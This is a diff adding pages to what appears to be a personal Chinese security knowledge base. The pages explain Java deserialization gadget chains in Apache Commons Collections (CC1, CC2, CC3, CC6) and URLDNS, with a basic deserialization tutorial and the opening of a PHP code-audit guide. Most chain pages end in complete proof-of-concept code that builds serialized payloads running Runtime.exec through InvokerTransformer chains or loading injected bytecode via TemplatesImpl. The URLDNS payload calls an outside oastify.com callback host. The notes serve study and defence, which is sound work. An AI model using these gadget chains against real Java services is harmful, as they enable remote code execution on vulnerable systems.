import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国内
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","");
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}

}
+

国外​

+

与国内的思路一致,不同的是利用的map不一样。

+

image-20230220140915373

+

而符合这个的是在AnnotationInvocationHandler 的invoke方法中,我们知道invoke是动态代理时会自动触发invoke方法,刚好这个memberValues也是可控制的

+

image-20230220141056311

+

所以,我们可以在AnnotationInvocationHandler这个类套上一层代理类,于是代码走到entrySet()时,就会触发invoke方法。成功执行会序代码

+

image-20230220141206343

+

完整POC

+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国外
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
+

CC1利用流程图​

+

image-20230220171022413

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html new file mode 100644 index 0000000..c0ea4af --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC2/index.html @@ -0,0 +1,20 @@ + + + + + +Apache Commons Collections 2 | wjlin0 + + + + + + + +

Apache Commons Collections 2

+

利用链分析​

+

该链还是利用的CC1 中的 InvokerTransformer.transform() ,不同的是后续利用,和前面调用的方法不同,下面是CC2 的利用链

+
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
+

与CC3一致,使用了 TemplatesImpl的newTransformer方法。动态加载代码。

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html new file mode 100644 index 0000000..dddc6f0 --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC3/index.html @@ -0,0 +1,30 @@ + + + + + +Apache Commons Collections 3 | wjlin0 + + + + + + + +

Apache Commons Collections 3

+

利用链分析​

+

与cc1不同的是利用了InstantiateTransformer与 TemplatesImpl 类的动态加载

+

在 TemplatesImpl.defineTransletClasses()完成了类的动态加载,

+

image-20230220164450032

+

可以看到defineTransletClasses 有三处调用 ,且只有一处的调用处,是被其他的调用的 getTransletInstance

+

image-20230220164821911

+

而newTransformer 只有 TrAXFilter 这个类的构造函数中满足条件

+

image-20230220165015377

+

结合InstantiateTransformer 就可成功调用链。

+

image-20230220165103295

+

完整的POC

+
package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[]code = Files.readAllBytes(Paths.get("C:\\Users\\wjl\\Desktop\\CC\\target\\classes\\org\\example\\Test.class"));
byte[][]codes = {code};
bytecodes.set(templates,codes);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");

}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
}
+

CC3利用流程图​

+

image-20230220171002143

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html new file mode 100644 index 0000000..8c8764b --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC6/index.html @@ -0,0 +1,42 @@ + + + + + +Apache Commons Collections 6 | wjlin0 + + + + + + + +

Apache Commons Collections 6

+
+

[!Tip]

+

这条链是利用的Map中的链,所以不限制jdk版

+
+

利用链分析​

+

与CC1的入口一致,都是LazyMap.get(),CC6是由 TiedMapEntry类中的getValue方法,其中的map、key都是可以控制的

+

image-20230221105532474

+

而在 TiedMapEntry类中,可以找到 hashCode 中调用了 getValue ,而我们知道URLDNS这条链也是利用的hashCode ,所以就可以成功利用这条链

+

image-20230221110043135

+

注:这里存在两个问题

+
    +
  1. 在这条链中要想map中添加元素也会触发hash
  2. +
+

image-20230221110644953

+

为了避免这个问题,可以将Transformer 随意取值,不让后续链触发。

+
Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
+
    +
  1. 序列化之后,会在map中生存一个key,导致后续无法进入这个if语句中
  2. +
+

image-20230221111046190

+

所以在成功put之后,要删除添加的key

+
map.put(tiedMap,"aaa");
lazy.remove("cccc");
+

完整POC

+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazy = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMap = new TiedMapEntry(lazy,"cccc");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMap,"aaa");
lazy.remove("cccc");
Class<? extends Map> aClass = lazy.getClass();
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazy,chainedTransformer);
serialize(map);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}

}
+

CC6利用流程图​

+

image-20230310112404524

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html new file mode 100644 index 0000000..cba4985 --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/index.html @@ -0,0 +1,70 @@ + + + + + +Apache Commons Collections 反序列化利用 | wjlin0 + + + + + + + +

Apache Commons Collections 反序列化利用

+

包和简介​

+

背景介绍​

+

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

+

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

+

包结构介绍​

+
+

注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。

+
+

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档。

+
    +
  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • +
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • +
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • +
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • +
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • +
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • +
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • +
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • +
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • +
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • +
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • +
  • org.apache.commons.collections.set – 实现Set系列接口的一组类
  • +
+

前置知识​

+

1.mvn依赖​

+
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
+

2.手打POC​

+
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc01 {
public static void main(String[] args) throws Exception {
// 反射调用 Runtime.exec("calc");
// Class r = Runtime.class;
// Method getRuntime = r.getMethod("getRuntime", null);
// Object runtime = getRuntime.invoke(null, null);
// Method exec = r.getMethod("exec", new Class[]{String.class});
// Object calc = exec.invoke(runtime, new Object[]{"calc"});

// 构造 可序列化的 Transformer 类型的 Runtime.exec("calc");
Transformer[] transformer_ = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformer_);

// 构造TransformedMap
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value"); // 将值设置成value,进入条件 限制
// 添加装甲 将map 转化成 TransformedMap
Map<?,?> decorateMap = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

// 生成对象 sun.reflect.annotation.AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");

}


// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
}
+

3.Transformer​

+

Transformer是Commons Collections中提供的一个接口类,只有一个待实现的transform方法。

+
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}
+

4.InvokerTransformer​

+

InvokerTransformer 是 Transformer接口的可序列化的实现类,在构造方法中有三个参数

+
    +
  • 第⼀个参数是待执⾏的⽅法名
  • +
  • 第⼆个参数是这个函数的参数列表的参数类型
  • +
  • 第三个参数是传给这个函数的参数列表
  • +
+

里面还提供了一个transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

+
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

+

5.ChainedTransformer​

+

ChainedTransformer是 Transformer接口的可序列化的实现类,该类的transform方法为可循环调用iTransformers中每一个值,将它transform的返回值作为下一个的传入值

+
    /**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
+

6.ConstantTransformer​

+

ConstantTransformer是接口Transformer的实现类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回,其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

+
    /**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

+

7.Map​

+

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

+

TransformedMap​

+

TransformedMap这个类是用来对Map进行某些变换(修饰)用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理(回调)。

+

通过**decorate函数**就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时对应transform函数需要做的操作;

+

Map.Entry​

+

Map.Entry是Map的一个内部接口。

+

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey()、getValue()方法。

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html b/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html new file mode 100644 index 0000000..300b0bb --- /dev/null +++ b/docs/个人知识库/代码审计/Java/ysoserial利用链/URLDNS/index.html @@ -0,0 +1,53 @@ + + + + + +URLDNS | wjlin0 + + + + + + + +

URLDNS

+
+

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

+
    +
  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • +
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • +
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用
  • +
+
+

利用链​

+
 *     HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* handler.hashCode()
+

原理​

+

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

+

image-20221118003718726

+

分析​

+

在hashMap的readObject方法中最后调用了,putVal(),他计算了一下hash(key)

+

image-20221118005145146

+

在hash方法中直接会调用key的hashCode方法,这里的key就是我们传入的hashMap的键(URL类)

+

image-20221118005311542

+

就直接会调用到URL类的hashCode()

+

image-20221118005348414

+

这里有个tips,在hashMap用put写入键值是,也会触发putVal方法,即也会走到这一步,为了与后面的DNS请求不冲突,这里可以有两种方法处理

+

1.在序列化之前将hashCode的值设置为其他值,最后在put完成后将hashCode值改会 -1

+

2.或者直接将handler成员的对象的 openConnection getHostAddress方法的返回值为null 即可(参考 ysoserial)。那么即使在调用handlder的getHostAddress 也不会触发。

+
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
+

这里原生的handler成员为URLStreamHandler 类的实例对象,调用URLStreamHandler 的hashCode就会触发DNS请求

+

image-20221118010558799

+

完整POC​

+
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serializeble(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {
ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
return oos.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");
Class<? extends URL> uclass = url.getClass();
Field hashCode = uclass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1234);
hashMap.put(url,1);
hashCode.set(url,-1);
serializeble(hashMap);
Object oos = unserializeble("ser.txt");
}

}
+

跟点调试​

+

进入hashMap的readObject()

+

image-20221118011454702

+

执行URL的hashCode()

+

image-20221118011539551

+

hashCode属性值为-1,调用handler的hashCode()

+

image-20221118011650083

+

最后调用getHostAddress(),方法执行DNS请求

+

image-20221118012143052

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html b/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html new file mode 100644 index 0000000..3464f37 --- /dev/null +++ b/docs/个人知识库/代码审计/Java/基础审计/JAVA反序列化漏洞/index.html @@ -0,0 +1,76 @@ + + + + + +JAVA反序列化漏洞 | wjlin0 + + + + + + + +

JAVA反序列化漏洞

+

概述​

+

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

+
    +
  • +

    1.序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。

    +
  • +
  • +

    2.为什么要把Java对象序列化呢?因为序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。

    +
  • +
  • +

    将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。

    +
  • +
  • +

    整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

    +
  • +
  • +

    Java的序列化机制仅适用于Java,如果需要与其它语言交换数据,必须使用通用的序列化方法,例如JSON。

    +
  • +
+

成因​

+

暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码

+

两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题

+

实现序列化与反序列化​

+

FileOutputStream

+
+

new FileOutputStream 的时候,如果目标文件不存在,那么会先创建目标文件,然后再写入。(如果目标文件所在的文件夹不存在,则抛出异常)

+

new FileOutputStream(file) 如果目标文件已经存在,那么会先清空 目标文件的数据,然后再写入新的数据.

+

写入数据的时候如果需要以追加的形式写入,那么需要使用new FileOutputStream(file,true) 这个构造函数。

+
+

FileInputStream

+
+

java.io包的FileOutputStream类可用于将数据(以字节为单位)写入文件。

+
+

ObjectOutputStream

+
+

基本上,ObjectOutputStream使用类名和对象值对Java对象进行编码。 并且,因此生成相应的流。 此过程称为序列化。

+

这些转换后的流可以存储在文件中,并且可以在网络之间传输。

+

注意:ObjectOutputStream类仅写入那些实现Serializable接口的对象。 这是因为对象在写入流时需要序列化

+
+

ObjectInputStream

+
+

ObjectInputStream主要用于读取ObjectOutputStream写入的数据。

+

基本上,ObjectOutputStream将Java对象转换为相应的流。 这称为序列化。 这些转换后的流可以存储在文件中,也可以通过网络传输。

+

现在,如果需要读取这些对象,则将使用ObjectInputStream,它将把流转换回相应的对象。这称为反序列化。

+
+
public class Ser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String hello_ser = "hello ser";
ser(hello_ser);
unser();
}

public static void ser(Object o) throws IOException {
System.out.println("序列化开始");
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println("序列化结束");
}

public static void unser() throws IOException, ClassNotFoundException {
System.out.println("反序列化开始");
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
String o = (String) objectInputStream.readObject();
System.out.println(o);
System.out.println("反序列化结束");
}

}

--------------------------------------
序列化开始
序列化结束
反序列化开始
hello ser
反序列化结束
--------------------------------------
+

序列化特征​

+

image-20221130224748718

+

中间那一栏是文件的十六进制显示,最右边是字符显示。这里需要注意的特征值就是16进制显示时的前32位:

+

AC ED:STREAM_MAGIC,声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据。 (这是在黑盒挖掘反序列化漏洞很重要的一个点)

+

00 05:STREAM_VERSION,序列化协议版本。

+

恶意攻击​

+
public class Person implements Serializable {
public String name;
public int age;

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {
ois.defaultReadObject();

Runtime.getRuntime().exec("calc");
}
}

public class Ser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person wjlin0 = new Person("wjlin0", 22);
ser(wjlin0);
unser();
}

public static void ser(Object o) throws IOException {
System.out.println("序列化开始");
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println("序列化结束");
}

public static void unser() throws IOException, ClassNotFoundException {
System.out.println("反序列化开始");
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Person o = (Person) objectInputStream.readObject();
System.out.println(o);
System.out.println("反序列化结束");
}

}

+

image-20221130230043565

+

如果程序员在重写readObject的时候调用了恶意的方法时,我们就可以调用反序列化的结果让它成功执行。例如图中的弹出计算器

+

攻击流程​

+

1.寻找反序列化入口readObject(),查看序列对象是否可控。

+

2.寻找危险方法存在位置。利用同名类方法等手段持续调用,最终到危险放上。

+

总结​

+

反序列化出现漏洞的原因,是程序员对序列化的接口暴露 ,并存在一些危险的类,可被序列化,最终导致 代码执行的情况。

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html b/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html new file mode 100644 index 0000000..af84c55 --- /dev/null +++ b/docs/个人知识库/代码审计/PHP/PHP代码审计/index.html @@ -0,0 +1,872 @@ + + + + + +PHP代码审计 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:48:43
+

PHP代码审计

+

序言​

+

PHP代码审计是指对PHP程序源代码进行系统性的检查,它的目的是为了发现PHP程序存在的一些漏洞或者逻辑问题,避免程序缺陷被非法利用从而带来不必要的安全风险.

+

工具准备​

+

PHPStorm​

+

PHPStorm 是 JetBrains 公司开发的一款商业的PHP集成开发工具,旨在提高用户效率,可深刻理解用户的编码,提供智能代码补全,快速导航以及即时错误检查

+ +

VScode​

+

Visual Studio Code 是一个轻量级但功能强大的源代码编辑器,可在桌面上运行,适用于 Windows、macOS 和 Linux。它内置了对 JavaScript、TypeScript 和 Node.js 的支持,并具有适用于其他语言和运行时(如 C++、C#、Java、Python、PHP、Go、.NET)的丰富扩展生态系统

+
    +
  • **优点:**免费 适配度高
  • +
  • **缺点:**环境配置麻烦
  • +
+

审计思路​

+

敏感函数方法回溯(反向审计)​

+

查找项目中的敏感函数方法 回溯传入的参数 判断用户是否可控 是否得到有效的过滤

+
    +
  • 缺点:很难发现越权等逻辑漏洞
  • +
+

用户可控参数追踪(正向审计)​

+

查找项目中的用户输入 追踪用户输入 判断是否得到有效的过滤/调用敏感函数/存在逻辑问题

+

关键业务功能分析(功能审计)​

+

专门审计易出现漏洞的关键功能点,如 头像上传 系统登陆 文件下载 等功能

+
    +
  • +

    **优点:**可以快速完成审计 减少审计面 可发现越权等逻辑漏洞

    +
  • +
  • +

    **缺点:**审计不完全,难以发现框架漏洞

    +
  • +
+

完全审计源代码​

+
    +
  • +

    **优点:**完全覆盖源代码 可发现一些特殊条件的漏洞

    +
  • +
  • +

    **缺点:**耗时长 容易遗漏

    +
  • +
+

基础知识​

+

前言​

+

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,个人能力有限,部分可能会出现错误或者遗漏,读者可自行补充。

+

代码执行​

+

